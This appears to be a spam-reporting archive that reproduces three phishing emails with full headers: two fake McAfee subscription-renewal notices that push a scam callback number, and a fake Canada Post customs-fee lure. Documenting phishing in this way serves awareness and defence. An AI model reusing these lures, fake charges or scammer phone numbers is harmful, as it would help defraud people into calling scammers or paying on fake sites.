McAfee Phish from Google

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Tue, 31 Jan 2023 08:28:38 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.96)

(envelope-from )

id 1pMsYo-000I5H-2K

for dave@doctor.nl2k.ab.ca;

Tue, 31 Jan 2023 08:28:38 -0700

Resent-From: The Doctor

Resent-Date: Tue, 31 Jan 2023 08:28:38 -0700

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from mail-pg1-f179.google.com ([209.85.215.179]:37554)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256

(Exim 4.96)

(envelope-from )

id 1pMrLc-00090y-1v

for sales@netknow.ca;

Tue, 31 Jan 2023 07:11:00 -0700

Received: by mail-pg1-f179.google.com with SMTP id v3so10127674pgh.4

for ; Tue, 31 Jan 2023 06:08:58 -0800 (PST)

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;

d=gmail.com; s=20210112;

h=date:mime-version:to:subject:from:message-id:from:to:cc:subject

:date:message-id:reply-to;

bh=vO3VrkNQrgIAew2m1Rt2wfp2dsIwlV+7sJtSBGkG7fM=;

b=Pbhg4h9z4LtWcXEfZ3meEZYaE+RmKX0cNwRk771N6EpZocLTPuSEfzmS9nFpvYXM9f

bGOYdudFyYs4AFgyUCmKFgw1/vq94YBtVMhqNgV5Taxu5RhQDx4hG/7wS0whRDGac9q/

0hju1QoTsJEGqmLWznpQO34vVLumVOKjKQsVzMZqw+o8kaNsnu6N9cCH2qxOwgmRneYm

qh1h2PSE6b5n3IBJpKE/3/mW/3eDA2KJzRcY+bJVjKu2NMBiHPPS3WkjJriItVOX822i

wcjVpVcEOARQXYFrU/xxhwBq6OC/ePsi2voBiZWetUeMjpwXHm8yXMqeAnMjGF1bJybH

BSJA==

X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;

d=1e100.net; s=20210112;

h=date:mime-version:to:subject:from:message-id:x-gm-message-state

:from:to:cc:subject:date:message-id:reply-to;

bh=vO3VrkNQrgIAew2m1Rt2wfp2dsIwlV+7sJtSBGkG7fM=;

b=20xZK/F9RtykeOhr9lC8Z9mdUo4DtKdH+W1/9D7bhYHOXrm1SdDXEht0ijc5KWimSk

3nN1wskdo1ZTd263n1tfB/F6FuiUITIrCgGXP9MBYw+yjwfMlvytCzP6z0J78HZp7zX0

Y/oX/hw6fC3wfXT2V3rly2rzPHXZXiPn22BO9NIrDkqB5rFZSVMKsdpgzN8+MzKCJPKN

enXDripXntDvLDi0vBK/BeL71CnNWZ7Ia8K40aEY0I7QJes6GMMW5PhtbvXMZCRN36bs

WjfrVkEBSl5xzHqbdcQf585MisA+ig9PytO8ToYPwjX9w7+UWr3AkdkP6xJLC4cIEOPA

US9g==

X-Gm-Message-State: AO0yUKUEBAPPykXjPDS1VTlYkwvBAFn+lcSjZTTyO8RcwkJvmPBRbBZT

wsvW97BHfRjeuK6Czw7lnCVWS51TESpU+g==

X-Google-Smtp-Source: AK7set9BDcAi1ia/ueJNZ4q9VBr2G+w9o5gHnybyxzXV0HTRPW+Rmu9RNoy2A65cGvJ34ucCUfxsZw==

X-Received: by 2002:a05:6a00:ac7:b0:590:76bb:b969 with SMTP id c7-20020a056a000ac700b0059076bbb969mr26263469pfl.8.1675174131747;

Tue, 31 Jan 2023 06:08:51 -0800 (PST)

Received: from 192.145.119.179 ([192.145.119.179])

by smtp.gmail.com with ESMTPSA id x5-20020a056a00188500b0059072da44f3sm3623013pfh.130.2023.01.31.06.08.49

for

(version=TLS1_2 cipher=ECDHE-ECDSA-AES128-GCM-SHA256 bits=128/128);

Tue, 31 Jan 2023 06:08:51 -0800 (PST)

Message-ID: <63d920f3.050a0220.600f0.6d07@mx.google.com>

From: "Robert William"

Subject: Subscription Updated 68IGA

To: "sales"

Content-Type: multipart/alternative; boundary="gNuXJ9Hyd9fV4WN8NWfb=_PB6lAID13dXH"

MIME-Version: 1.0

Date: Tue, 31 Jan 2023 19:38:50 +0530



This is a multi-part message in MIME format



--gNuXJ9Hyd9fV4WN8NWfb=_PB6lAID13dXH

Content-Type: text/plain; charset="utf-8"

Content-Transfer-Encoding: quoted-printable

Content-Disposition: inline



Date: 31-Jan-2023





Customer Helpline: +1 808 272 9966



Annual Plan Update





Hi Dear, sales@netknow.ca



On 31-Jan-2023, Your McAfee Total Anti Protection Plan subscription fo=

r your devices comes up for renewal.



We are extending the life of your plan for an additional year due to d=

emand for our auto debit service.





Order Details:



Product: McAfee Total Anti Pro Shield ( 1 Year Subscription )

Charges: $329.99

Payment Mode: Auto-Debit

Renewal Date: 31-Jan-2023

Valid Till: 30-Jan-2024

Order Id: QBTY_490164

Transaction Id: VNHCJYNNZD8





You can cancel a recurring subscription from your account and your aut=

o debit services while managing your subscriptions here.



Please contact our online service team at (+1 808 272 9966) if you hav=

e any questions about this email or need more information about this t=

ransaction.





Many thanks,



Robert William

Consumer Handling & Account Team.





--gNuXJ9Hyd9fV4WN8NWfb=_PB6lAID13dXH

Content-Type: text/html; charset="utf-8"

Content-Transfer-Encoding: quoted-printable

Content-Disposition: inline




left; line-height: 115%; font-family: Calibri, sans-serif; font-size:=

15px;">
Times New Roman", serif; font-size: 14px;'>Date: 31-Jan-2023

an style=3D"font-size: 14px;">




font-family: Calibri, sans-serif; font-size: 15px;">
lor: rgb(0, 0, 0); font-size: 14px;">Customer Helpline: +1 808=

272 9966




font-family: Calibri, sans-serif; font-size: 15px;">
lor: black; line-height: 115%; font-family: "Times New Roman", serif; =

font-size: 14px;'>Annual Plan Update

>




Hello Dear, sales@netknow.ca
>



On 31-Jan-2023, Your McAfee Total =

Anti Protection Plan subscription for your devices comes up for renewa=

l.



We are extending the life of your =

plan for an additional year due to demand for our auto debit service.<=

/span>





nherit; font-size: 14px;">Order Details:



Product:
(85, 57, 130);">McAfee Total Anti Pro Shield ( 1 Year Subscription )
span>
Charges: $329.99
an>
Payment Mode: Auto-Deb=

it

Renewal Date: 31=

-Jan-2023

Valid Till:
;">30-Jan-2024

Order Id:
30);">QBTY_490164

Transaction Id: VSM8SUBJODF

=



You can cancel a recurring subscri=

ption from your account and your auto debit services while managing yo=

ur subscriptions here.



Please contac=

t our online service team at
47, 218, 100);">(+1 808 272 9966)
if you h=

ave any questions about this email or need more information about this=

transaction.






Yours sincerely,




176);">
transform: none; text-indent: 0px; letter-spacing: normal; font-family=

: arial, sans-serif; font-size: 14px; font-style: normal; font-weight:=

400; word-spacing: 0px; float: none; display: inline !important; whit=

e-space: nowrap; orphans: 2; widows: 2; background-color: rgb(255, 255=

, 255); font-variant-ligatures: normal; font-variant-caps: normal; -we=

bkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-=

decoration-style: initial; text-decoration-color: initial;">Robert Wil=

liam

McAfee Total Tech & Support Team.


dy>





--gNuXJ9Hyd9fV4WN8NWfb=_PB6lAID13dXH--



Canada post phish from DigitalOcean

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Mon, 30 Jan 2023 18:26:36 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.96)

(envelope-from )

id 1pMfPa-000Ota-20

for dave@doctor.nl2k.ab.ca;

Mon, 30 Jan 2023 18:26:14 -0700

Resent-From: The Doctor

Resent-Date: Mon, 30 Jan 2023 18:26:14 -0700

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from [128.199.28.69] (port=14868 helo=567902.cloudwaysapps.com)

by doctor.nl2k.ab.ca with esmtp (Exim 4.96)

(envelope-from )

id 1pMeYp-000Jmj-1I

for doctor@nk.ca;

Mon, 30 Jan 2023 17:31:49 -0700

Received: by 567902.cloudwaysapps.com (Postfix, from userid 1020)

id 79BD14EAD6; Tue, 31 Jan 2023 00:27:03 +0000 (UTC)

To: doctor@nk.ca

Subject: Post CA: Package REF#CA /904951986

Date: Tue, 31 Jan 2023 00:27:03 +0000

From: Canada Post

Message-ID: <7f381c79cfdbb381941c26323d2c40e0@run.bhumi.ngo>

MIME-Version: 1.0

Content-Type: multipart/alternative;

boundary="b1_7f381c79cfdbb381941c26323d2c40e0"

Content-Transfer-Encoding: 8bit



This is a multi-part message in MIME format.



--b1_7f381c79cfdbb381941c26323d2c40e0

Content-Type: text/plain; charset=UTF-8

Content-Transfer-Encoding: 8bit





























Dear Customer,









Thank you for choosing us,





Your Package was not delivered because no customs duties were paid .





You must complete the payment of (1,99 CAD) .





Pay customs fees by clicking on the following link.







Send My Package...

































Note:Â Our TEAM services send message minutes after you finish the payment .

































--b1_7f381c79cfdbb381941c26323d2c40e0

Content-Type: text/html; charset=UTF-8

Content-Transfer-Encoding: quoted-printable







=09






; font-family: system-ui, sans-serif;">

=09

=09=09

=09=09=09

=09=09

=09=09

=09=09=09

=09=09

=09


kground-color: white; padding: 40px 30px;">

=09=09=09
out: auto;">

=09=09=09=09

=09=09=09=09=09

=09=09=09=09=09=09

=09=09=09=09=09

=09=09=09=09=09

=09=09=09=09=09=09

=09=09=09=09=09

=09=09=09=09=09

=09=09=09=09=09=09

=09=09=09=09=09

=09=09=09=09

=09=09=09

0px; color: rgb(85, 101, 107);">
=3D"line-height: normal; display: block; height: 90px;">
on-image-anchor" style=3D"line-height: normal; vertical-align: middle; bord=

er-style: none; max-width: none; display: block; height: 90px;">
=3D"proton-image-anchor" style=3D"line-height: normal;">
age/png;base64,iVBORw0KGgoAAAANSUhEUgAAAVkAAACSCAMAAADYdEkqAAABBVBMVEX///8A=

SJD4AAAAPIsAQI2nts96j7YANIgARI8AOIn/AAAANogARo8ARI7J0N8APoz 8/IAS5YAL4bd4ut=

TdKf8pqZqg6/p7fOYp8VBaKD5bm2So8NjgK7x9PjAydtvh7G0wNX92Njs8PUkVpfU2 dTP36uu9=

IAKIM9ZZ9ZeKmGm775iYkALIUvXJq5Jku7xtnEIkOhLVp/NmzWGjTJHz70Bg0AJIL6hIOYMGD94=

OD5ZWX 6Oj4KirjEyaMM2XoDhxwOnOpK1WJNGjeFiwvRIlbP30AGX/uDBgADXwXT5MAHX/6s7T4=

W1v8xcX4S0tZLHD6enn6mJj8yclpO3b5UFBHQoN4OHCEiCDBAAAOyklEQVR4nO2cfX/athbHbSR=

sg21cMAvOgJgATYCF0IelW9aHbG22XNptt 3Wvf XcnVkyZL8AKGjjfO5 v3RgiLb0tfHRw cY8=

PQ0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tqD6lr7Vw/Iukhr3=

zptAVnHM7X2rIYm 4WkyX4pabJfSveHbJuK/1d93Q yhOWnV dPr2pNops3jx7/bFae7n0g2zaf=

fA9Ma1zA9 Uvn6rNtvpk25/OZaoS3qtXVTbcqpNtP3xahJXDfXzX7StXtcm2r78vxZqwrb2uqtm=

WksUNm6jhi5LAdV25HiLf QfllK6LMt JEM5cwyOFzubGtV V22vK9s11OVuHXVrpmEv65QZykY=

9oXz3RL6ZMSXqQF7gdcpKNzS8h69tWa2wY49YsRRtEYRgGoiIake AFLXCnoTWnobhqCFdIQRNR=

xZSeuNNemGvuxnt061cKdsnZWideQ8uvYrttNm vZgODSOMsMCNJyva1wmthU5Crt5hUnLEvtdZ=

D7xGFBrGMIw3Nb YLF6O2S6YlTbAVr ajSn5viDXsnuG0RG9OYR6a3FCO91R64tapLl1UnKkGHt=

Gny5uBZagPS9B6xywK495e7x1j7emy7viz1hJQpb2i9eh6NyQfW2xZzFgJ nj3CWFCsn6EyiM5l=

1rOuC3BdNWhrZ65JBYg0q2saLHCvskZIf1 hGUrsTRZme42cG3f70lV0D7tBgtkJ3SS0 TK3sNc=

tWx1Y2BFX8cAVw4mC mPm0MXtTrdVI0qtdPlh6vQPcFmV2BUQytrnU02NlmbbgWQo6DG mxLqk4=

Moylpx7ZDzJkEekGubAoIGR7z1DDJgcbB lNdgaGcUIPLwH71 3BgrMtRAtko469JFc2abuDiDT=

GDhx8epRaiUdabHSwj7mfxQidEfOYuQh5KXq6z8paDx3uIgejnf2sDw 0r8L2TPIwkPITJB05JA=

xdTyGLF8RlkHPO06sCWdIH7ww6kz79cKN I3 RHYQMdgeLLUcLZIlv7BAyh9RAbWKyc8oHSUZLP=

j5Te9s44kfQtpLj5fEXzjLZ5Ag4nxxZuLPyGMTL4mfklOlgAEcuweoUsvAFxeQupMczsqa/JhdC=

3N R7qzAcErGsOvdwBK03xegpWQbzumQOX4PmpA0FZwWc5MwEEwntoyqgKzvebznLjGoXreTnex=

kVEQWzmtl7kmHEGugE kPcORv5BpIJgujwdR2ySnTdnCyZoeMikvWXLhRc0Q8wipzBxO1b3YES9=

A zqMFsifLbou3wJmT1iWPTdBPnz/4SB6nWBoE8mSpWJHThS 9hStNSW9JlpQdqLYEI/5RA9zE1=

JZqdQjI6FQii0bAHhqWetCUrB2K5nao9YO1KFNfDvbRriYLaH8tJCszAefOyILXGrFr2wtaJ5Tm=

PRvJmmhAh9/hZJPVltnsQrVZeHjmp/Z/iNlNfHGkbZN/JLJeA3yWfUpsY8xhC5tNJzbUeOpv7bc=

nuQtRsD9/Btha7aKM7HDEvKLfTccteGjq/K4GQR/mUUfp85MnOycapHNJx46ndGa0I9mAzCpayk=

GUGBNvDyXrg6cNU7LYys4FBVlMaBrsrG4rrVY0hnFU3 1mtLlpLZ0bnHZsxCHh1NXbU8XjBWcLa=

RQoIIuw48iUcAdcQneDPyidGxwmAL0cMU6HkjXtI2MobNYORTVuAYwsDsgTdMRO6kunO8y2rv0L=

N9n3xscfdkH7qYBsXXY30L4 tMuBGTu/MO3926G0vsmTVZwjnTd1SP83LcKK57Ng6oMzRNbL6/Q=

OH8wODw XYTopTcgmiwpG1iMWHC5JtRk8hnz2R8j ZtsxuCbmSejwAaebnQhvl8oTvuA7cswOcL=

MLBjbrkgoGYGgdZJs9Mf1xBq6LOvBEpXPCPNkz2FlgLfW7axu5ZpFVbCPr bC47a1WU4MuMwDf =

MwnQot0DEvImu5KkIW5wwJBvbNx6kFhmBpSj8 mkslEY41JNQz3paFevH0uedl39LjjW8JtPtxC=

1qTrlekIOt3j y0EXGsEtiTucZ7skIhXID46HB2VeLLNZE0fxngq6ouAGFuvYkNeX9tsjsjJkk8=

Bv7gxtlOyiXvgs2s6 WF/DPNjmDJ8HbODbwW3 Ug1WifOkjXtiJ1whaRpIXNfyvqyYG7AnBngoE=

PEZNO0q2wXEeG4PhrVF3Q1ixdRtOYetx91k/W1FdGpNo77/QS7t4z6bFTw1lGfHYL7IKvbSHckn=

UEUMd/vd6PIUp3Vj rE4HnqkG8Bt6l2wp9F0TzjCpFj1Ucni7XA6HT7J6OT/lLaInXiKBJTKtJn=

qoi5VW9pAZu5vfN8lp0vgJUy4xmk24fiIw4wL G7a0HA7Y98FPWIsHwJJwh4o/wgULvevsrQeiC=

NdtvgNn9U 5A7O22P6BdvDpQomJwgkCcCQSJ Lg9OUXBmRZX7TeFTdi77wlC0Ge7L6vzCUDmyP =

ZWCb8bxq3hNqvTkaqRbT/N4/ohi5bALVlElP 8NVVObJFC9tv8mhL4Jb vPD1VTWyOTdL9UcR2=

kK4xVvgd6Gqkf2neDPmshhtHm5Tky1RfgBL9KAMbQZuc/slvpIY2btuBpfYjcnoppysAje7wL07=

JWQ7dlVUuuf950a0AJf DtH87133gOtta0uLv7Lel4Ct1b59UCa2AL6k1Y43n///V Vky8U2xGp=

VJAsb5tXQtl/ALl78 ftP73/48OGbd3/8cXx8 ZwPbQxs86 77gGXTb3Blh94v56UzVlZN8fPH2=

yYH3CwFRrB3IrNuh4Xk32xAaoMtta8vusecFVsPtt Ukz2wzfF vBABatXCqXaKero5uZdBmztR=

pMtUzFZNnB9Rwaudx8/Xl4qPlcCWxiEdDeqGtn2yzzW58ZGXUpVsz8q3KEqRzY3ObjYNCXIgK3Q=

1KByZM1c3Ozf779V9VOi35/nwdZqlXEG1SNbuPUt6cWff//0LXG4Hz4WgK3QxvcuZL2CSkVl/06=

qO3jxngxaZLn1EVZbBW4hY7EF8YhfqJnbVUjWoZs1rvzDsBnYaO0rWUym17DNdYOHKiOxzbM1Hn=

qTHkpkLza72CzYwjkXdm1/jeU2QffkfdOANxmr5dAjGYGb9C4bRO RsoIo4CKySeTtMKyv0 b4K=

KLZNkczEYWFl/TYIUvtGYkOZ8Oad1L7zecNXmCy bQ7L4nHNIYiEod2TwrwgHgeI8YQc6LEoEMI=

khwalYTKDMORGsLhQRx2K58kVE4WxK/jT4a8qM/PkSb7JGE6aLUnstIYdlm6cUh1nAFbu8iDNXn=

kkJRgAS2V8qUoWQj3DVSyTqYraRCSEa4ls03iNNc5f1NGdmpFAFNK9gnn3rIuXQviuqZLs1tPwn=

Sc WIBqR91a7GYbQzL2SbJaHdT83XuXBBaaiyW3qwvbBZROiLDhZIFo1XJsiB7EUcMZCOrTx8BU=

8p3owVRLkmojOzIRm5qjzTZp4M9z4b7w3wPhHA3HM/h3tjB2Cbk5w2M/xVY1dPuoqucyYKLGvrI=

93yRskjj6OV8qYQsMVqVrN0zxlORWZGQPUSBDU 0CA HOM2VkqbFVEZ2hUzYYExyySDHY0CbdhY=

mLslMQviw thDCtrG7LPbqXQrcYvJZgOTk1SvQcY1QfjjWzlCkwbWQ7cUsuDs6pbsRYAs/BlJwc=

FJn7tKmhZTuc1iSPaZJeGEqV AVrBrAe5hbMtxxXsia5oXnwP2l5zJQiDy8EwtA2IjJV8K jQIC=

WqFLJj7oZt23BRkTQgOTrsJBnZqFYxhZWRbAyvkIbDQmCSJw8Qi1QuiYInqWKDcG9nP8AfNgmA5=

GOyzPQZi3WAgPdA01Y10 cCVyELez7AD04OYm2dKFgZr7rYByKiBcgy3zQ2SoQjIMk8O2bc8iS7=

oJom9whPtjWz71e5oC04DzFrqVBNyWcZnHgwSgVTLOp0avWcSWRjx6w08l9K0BNmRIAvjVxeD48=

wmupaSHY nkcMicdephwb3v IOwOl0aUx5 rzsjezurjbvZFlrQzWziBKbLNeS2VGy6JA0fSFlB=

BFi88nSHIo0rZQs/C3mEdgEjbmcWPnQ lI/ 0xag4EvSVKZ4eZI0e ODWk4aXT0/sjummxXvKyl=

JqLONKXsH46CksUEV2ilZJMcgUQ8O4eTpWmuPJclEvUyia6lZJWRidzhFbSDZmzwpjpw8mdSYuI=

ye6Gtvlr8U4MmETrlKbcJm2E7J9Uh4KOhcHltVI8MjE oUrIetjtiee0MxT1jlS/cyuykE9nRG=

duZzmUkn2sZceFUVHELu2TbHkgUp5rrcgVgOj6qGXaDTtgK0XI/nFxMvUWqTKw/El xWZkgdg6I=

PXORJoWnc821hbAZGkWMPlodUg11JVnYlS3ImsiaOFwCiNWyBMlyJFjeHGIVHWvZM12SVxiDuyb=

8nMAQGJhpOXJ6EAzfT0iX RLMbKJOSdkk wfqBeINC2xuiVuOTk9/PI9wFCvM84mCW1YKchCc/a=

Cj3o6INis5EQMEWARB3sja7avr27BtihJXMgdMB404whsmD20Il KkTVdGI6TCT9QYat4kabl8h=

elrCY840Vk9UtpWkyFu4iTOM5m5zn2bNFfDBpIqjlfRP3YkW6BdxjHG/Ond1X78baXHzVfbnnVn=

GOv40W0iOkI7HfjmL1VxJ/Fcdfnn6DQm8QH8SQ56OCAJ3468wN2CPlENJ INF5vGR/w1Ns1OTiX=

cZ f5TpOfunvYzX1CHYKgszy1nP2/OtE /rRJrbNi1vkJXi0nYynaKCfdpIXktbzB058go9e sl=

RO hJoKRDqCr3a01W7evzErbN5tXrCr r/Jk4YWTr97k3oxIvp8/rDDXe0EWXpJqPjm/agpdPH=

1cbazmPSFr0jfQmtd//fP69esnPz s/stnzftDlumevC8ZdM/I3iNpsl9KmuyXUkIWYa19q0PJW=

lp7Vyy9B0pLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0vr/0b/=

A0yOlL6JV0/sAAAAAElFTkSuQmCC" />


=09=09=09=09=09=09

line-height: normal;">Dear Customer,


=09=09=09=09=09=09

0px; padding: 20px 0px 30px; color: rgb(21, 54, 67);">

=09=09=09=09=09=09

: 1em 0px;">
t-family: Roboto, Helvetica, sans-serif; font-size: 16px;">Thank you for ch=

oosing us,




=09=09=09=09=09=09


=09=09=09=09=09=09

: 1em 0px;">
t-family: Roboto, Helvetica, sans-serif; font-size: 16px;">Your Package was=

not delivered because no customs duties were paid .




=09=09=09=09=09=09


=09=09=09=09=09=09

font-family: Roboto, Helvetica, sans-serif; font-size: 16px; margin-top: 0p=

x; margin-bottom: 16px;">You must complete the payment of (1,99 =

CAD
) .




=09=09=09=09=09=09


=09=09=09=09=09=09

font-family: Roboto, Helvetica, sans-serif; font-size: 16px; margin-top: 0p=

x; margin-bottom: 16px;">Pay customs fees by clicking on the following link=

.


=09=09=09=09=09=09

0px;">
cUY0Y" rel=3D"noreferrer nofollow noopener" style=3D"line-height: normal; c=

olor: rgb(255, 255, 255); text-decoration-line: none; cursor: pointer; bord=

er-color: rgb(7, 140, 197); background: rgb(0, 119, 194); height: auto; pad=

ding: 10px 18px; margin: 0px 0px 8px; width: 100%; max-width: 100%; border-=

radius: 7px;" target=3D"_blank">Send My Package...


=09=09=09

kground-color: white; padding: 20px 30px; color: rgb(0, 111, 207);">

=09=09=09
out: auto;">

=09=09=09=09

=09=09=09=09=09

=09=09=09=09=09=09

=09=09=09=09=09

=09=09=09=09

=09=09=09

: 0px; color: rgb(77, 148, 255); font-family: monospace;">

=09=09=09=09=09=09


=09=09=09=09=09=09
tyle=3D"line-height: normal; margin: 0px auto; table-layout: auto; border: =

none; width: 602px; border-collapse: collapse;" width=3D"602">

=09=09=09=09=09=09=09

=09=09=09=09=09=09=09=09

=09=09=09=09=09=09=09=09=09

=09=09=09=09=09=09=09=09

=09=09=09=09=09=09=09

=09=09=09=09=09=09

; margin: 0px 0px 16px; padding: 8px 0px 0px; width: 300px; vertical-align:=

bottom;" width=3D"300">

=09=09=09=09=09=09=09=09=09

97, 97); font-family: Roboto, Helvetica, sans-serif; font-size: 12px; margi=

n-top: 0px; margin-bottom: 8px;">Not=

e:
=C2=A0Our TEAM services send message minutes after you finish th=

e payment .


=09=09=09=09=09=09=09=09=09


=09=09=09=09=09=09


=09=09=09=09=09=09


=09=09=09










--b1_7f381c79cfdbb381941c26323d2c40e0--



Yet another McAfee Phish from Google

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Mon, 30 Jan 2023 15:18:35 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.96)

(envelope-from )

id 1pMcT5-0003T3-0J

for dave@doctor.nl2k.ab.ca;

Mon, 30 Jan 2023 15:17:39 -0700

Resent-From: The Doctor

Resent-Date: Mon, 30 Jan 2023 15:17:39 -0700

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from mail-pf1-f178.google.com ([209.85.210.178]:41886)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256

(Exim 4.96)

(envelope-from )

id 1pMb6d-000JId-2v

for doctor@netknow.ca;

Mon, 30 Jan 2023 13:50:29 -0700

Received: by mail-pf1-f178.google.com with SMTP id c124so8731687pfb.8

for ; Mon, 30 Jan 2023 12:48:25 -0800 (PST)

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;

d=gmail.com; s=20210112;

h=date:organization:mime-version:to:subject:from:message-id:from:to

:cc:subject:date:message-id:reply-to;

bh=CiEym/ZKtmyo/U1eX4xDPEMAtbOYhhjNM2wQzPNwC8s=;

b=YVIKvGvYnG3Xha9CPd2d9J1Qs6l/sx63K1et1baZdCVWs8w55blXp0UxbcJj6j4lqq

1x0yohlWcL8+qxIvZkGE3Wqsha30om1hnvxs+uZYjrax3ZgLIlPavIQS/RQJKvW0mujI

JO9rhG6omSyItGQ1BTknYmnFq/ALydo+MspkmbY1+4tXXQj956n13TEG3CO0l8jQu7Kc

jdm/x4a5+HSBDWmrupKbGep8bhf4DDLUawQFDzlUbY1851NAT6P3pjf6rNE5ZCygPHOr

VtjplWY2WFEfJrkT9cmPMiGZWQH5suRIfjjXnquF4E4Lvohdm7wmkOab/AzvXrk2WZ4M

7Uyg==

X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;

d=1e100.net; s=20210112;

h=date:organization:mime-version:to:subject:from:message-id

:x-gm-message-state:from:to:cc:subject:date:message-id:reply-to;

bh=CiEym/ZKtmyo/U1eX4xDPEMAtbOYhhjNM2wQzPNwC8s=;

b=M5bDx/AGy7dbAuoQGFoi7hf5JvpRxYetA9//meFbdI6p3kDeP39KLK87PHTTjnrZY9

i4UQM+ObqugZ4xsDeSIUbYjq6tmRBhTfLDJeFl283CtTZMZUi+a5uOKCGPQ8kwi3UZYj

pf81qQIRgFpqs4aapE26A7yP0uQrWcTT4qY8UJJ7YRVazsXA+yek1zgjfS5222CUaYaj

bhvS0X9+iwIeLm1nytdXq4tTipZWQ0KxKZp/uLo1330FUCcV55qkRnC7TpjGlrJpxCa8

owabnmyNHTWmwq+zrMN+lfbGbD1shSBF910Bu2uOW33XjIUznDJWITox4wwbd7Zvna4w

5VfA==

X-Gm-Message-State: AFqh2kqmeRW9Bo91Yho52Z9zjA8kFMyc6fvz9IC6qpuAfbdpZAGYXJAR

CVkdJCCoralsbIe4V1jvXk/7B/oGvbX9cUKiYdo=

X-Google-Smtp-Source: AMrXdXs4K0aMDgbYcbEf1/Se0xualWfEoQpn/1MoTUpgfwIQUbRAkU1rSGd97aGfPc3CUa/YHsIN7A==

X-Received: by 2002:a62:ea13:0:b0:58d:9ad4:adaa with SMTP id t19-20020a62ea13000000b0058d9ad4adaamr48185285pfh.17.1675111699392;

Mon, 30 Jan 2023 12:48:19 -0800 (PST)

Received: from 185.216.74.96 ([185.216.74.96])

by smtp.gmail.com with ESMTPSA id a8-20020aa79708000000b0058bb79beefcsm7880750pfg.123.2023.01.30.12.48.17

for

(version=TLS1_2 cipher=ECDHE-ECDSA-AES128-GCM-SHA256 bits=128/128);

Mon, 30 Jan 2023 12:48:18 -0800 (PST)

Message-ID: <63d82d12.a70a0220.c7689.d732@mx.google.com>

From: "George K. Royals"

Subject: Your Subscription Renew ID#91548689

To: "doctor"

Content-Type: multipart/alternative; boundary="GctA=_VwBh5Yp9Sn54MVHHJus9dfRsXvbF"

MIME-Version: 1.0

Organization: McAfee Network Support

Date: Tue, 31 Jan 2023 02:18:17 +0530



This is a multi-part message in MIME format



--GctA=_VwBh5Yp9Sn54MVHHJus9dfRsXvbF

Content-Type: text/plain; charset="utf-8"

Content-Transfer-Encoding: quoted-printable

Content-Disposition: inline



Date: 30 January, 2023



McAfee Total PC Protection Security

Annual PC PRO Shield Activation Details



Customer Ref ID: #716246480JCOK



Helpline Number: +1 (808) 272 9311





Dear Customer! doctor@netknow.ca



This message is being sent to let you know that your last year with Mc=

Afee Total Protection Shield + Network Protection has been expired tod=

ay.



The $349.99 charge is processed using funds from your specified accoun=

t and will appear on your statement in a few hours.



This service plan went into effect on 30-Jan-2023 and it will be in ef=

fect until 29-Jan-2024 (unless you cancel the auto debit).



Contact our support executive, If you have queries or wish to cancel y=

our subscription.



Kindly reach out to us at +1 (808) 272 9311 within 24 hours of receiv=

ing this email to avoid further charges.





Yours sincerely,



George K. Royals

McAfee Network Support





--GctA=_VwBh5Yp9Sn54MVHHJus9dfRsXvbF

Content-Type: text/html; charset="utf-8"

Content-Transfer-Encoding: quoted-printable

Content-Disposition: inline




: 10px !important;">
alibri, sans-serif; font-size: 16px;">Date: 30 January, 2023


span>
rif; font-size: 16px;">McAfee

; font-family: Calibri, sans-serif; font-size: 16px;"> Total PC P=

rotection Security
Annual PC PRO Shield Activation Details

<=

/span>
ans-serif; font-size: 16px;">Customer Ref ID

r: rgb(0, 0, 0); font-family: Calibri, sans-serif; font-size: 16px;">:=

#51066279P4SLL


font-family: Calibri, sans-serif; font-size: 16px;">Helpline N=

umber: 
+1 (808) 272 9311







style=3D"color: rgb(0, 0, 0); font-family: Calibri, sans-serif; font-=

size: 16px;">Hi Client, doctor@netknow.ca




sans-serif; font-size: 16px;">This message is being sent to let you kn=

ow that your last year with McAfee Total Protection Shield + Network P=

rotection has been expired today.




olor: rgb(0, 0, 0); font-family: Calibri, sans-serif; font-size: 16px;=

">The $349.99 charge is processed using funds from your specified acco=

unt and will appear on your statement in a few hours.




ont-family: Calibri, sans-serif; font-size: 16px;">This service plan w=

ent into effect on 

t-family: Calibri, sans-serif; font-size: 16px;">30-Jan-2023

an style=3D"color: rgb(0, 0, 0); font-family: Calibri, sans-serif; fon=

t-size: 16px;"> and it will be in effect until 
style=3D"color: rgb(0, 0, 0); font-family: Calibri, sans-serif; font-s=

ize: 16px;">29-Jan-2024

-family: Calibri, sans-serif; font-size: 16px;"> (unless you canc=

el the auto debit).




sans-serif; font-size: 16px;">Contact our support executive, If you ha=

ve queries or wish to cancel your subscription.




style=3D"color: rgb(0, 0, 0); font-family: Calibri, sans-serif; font-=

size: 16px;">Kindly reach out to us at
(41, 105, 176); font-family: Calibri, sans-serif; font-size: 16px;">&n=

bsp;

i, sans-serif; font-size: 16px;">+1 (808) 272 9311
pan>
if; font-size: 16px;">  within 24 hours of receiving this email t=

o avoid further charges.







style=3D"color: rgb(0, 0, 0); font-family: Calibri, sans-serif; font-=

size: 16px;">With gratitude,




style=3D"color: rgb(243, 121, 52); font-family: Calibri, sans-serif; =

font-size: 16px;">George K. Royals
0, 0); font-family: Calibri, sans-serif; font-size: 16px;">
McAfee =

Network Support




style=3D"color: rgb(0, 0, 0); font-family: Calibri, sans-serif; font-=

size: 16px;">





tyle=3D'text-align: center; color: rgb(0, 0, 0); text-transform: none;=

